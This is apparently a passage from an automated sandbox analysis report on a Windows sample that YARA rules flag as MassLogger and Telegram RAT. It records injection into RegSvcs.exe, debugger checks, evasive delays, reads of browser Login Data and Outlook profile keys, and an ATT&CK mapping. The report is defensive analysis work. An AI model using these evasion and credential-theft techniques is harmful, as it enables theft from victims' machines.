Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596921	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595936	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595823	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595169	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594624	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 1538			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 8315			Jump to behavior

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Evaded block: after key decision

graph_0-102714

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-103538

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

API coverage: 4.7 %

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005F445A GetFileAttributesW,FindFirstFileW,FindClose,	0_2_005F445A
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005FC6D1 FindFirstFileW,FindClose,	0_2_005FC6D1
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005FC75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_005FC75C
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005FEF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_005FEF95
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005FF0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_005FF0F2
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005FF3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_005FF3F3
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005F37EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_005F37EF
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005F3B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_005F3B12
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005FBCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_005FBCBC

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005949A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_005949A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599327	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599217	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598452	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596921	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595936	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595823	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595169	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594624	Jump to behavior

Source: RegSvcs.exe, 00000002.00000002.3722859377.0000000001178000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllK

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

API call chain: ExitProcess graph end node

graph_0-101120

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 2_2_054F7210 LdrInitializeThunk,LdrInitializeThunk,

2_2_054F7210

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_00603F09 BlockInput,

0_2_00603F09

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_00593B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00593B3A

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005C5A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_005C5A7C

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_00594B37 LoadLibraryA,GetProcAddress,

0_2_00594B37

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_011C3530 mov eax, dword ptr fs:[00000030h]	0_2_011C3530
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_011C34D0 mov eax, dword ptr fs:[00000030h]	0_2_011C34D0
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_011C1E70 mov eax, dword ptr fs:[00000030h]	0_2_011C1E70

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005E80A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,

0_2_005E80A9

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005BA155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_005BA155
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005BA124 SetUnhandledExceptionFilter,		0_2_005BA124

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: CED008

Jump to behavior

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005E87B1 LogonUserW,

0_2_005E87B1

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_00593B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00593B3A

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005948D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_005948D7

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005F4C53 mouse_event,

0_2_005F4C53

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\y1jQC8Y6bP.exe"

Jump to behavior

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005E7CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_005E7CAF

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005E874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_005E874B

Source: y1jQC8Y6bP.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: y1jQC8Y6bP.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005B862B cpuid

0_2_005B862B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005C4E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_005C4E87

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005D1E06 GetUserNameW,

0_2_005D1E06

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005C3F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_005C3F3A

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005949A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_005949A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 0.2.y1jQC8Y6bP.exe.11d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.y1jQC8Y6bP.exe.11d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: y1jQC8Y6bP.exe PID: 6952, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4836, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.y1jQC8Y6bP.exe.11d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.y1jQC8Y6bP.exe.11d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: y1jQC8Y6bP.exe PID: 6952, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4836, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: y1jQC8Y6bP.exe	Binary or memory string: WIN_81
Source: y1jQC8Y6bP.exe	Binary or memory string: WIN_XP
Source: y1jQC8Y6bP.exe	Binary or memory string: WIN_XPe
Source: y1jQC8Y6bP.exe	Binary or memory string: WIN_VISTA
Source: y1jQC8Y6bP.exe	Binary or memory string: WIN_7
Source: y1jQC8Y6bP.exe	Binary or memory string: WIN_8
Source: y1jQC8Y6bP.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: Yara match	File source: 0.2.y1jQC8Y6bP.exe.11d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.y1jQC8Y6bP.exe.11d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: y1jQC8Y6bP.exe PID: 6952, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4836, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 0.2.y1jQC8Y6bP.exe.11d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.y1jQC8Y6bP.exe.11d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: y1jQC8Y6bP.exe PID: 6952, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4836, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.y1jQC8Y6bP.exe.11d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.y1jQC8Y6bP.exe.11d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: y1jQC8Y6bP.exe PID: 6952, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4836, type: MEMORYSTR

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_00606283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_00606283
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_00606747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00606747

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	3 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Valid Accounts	3 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
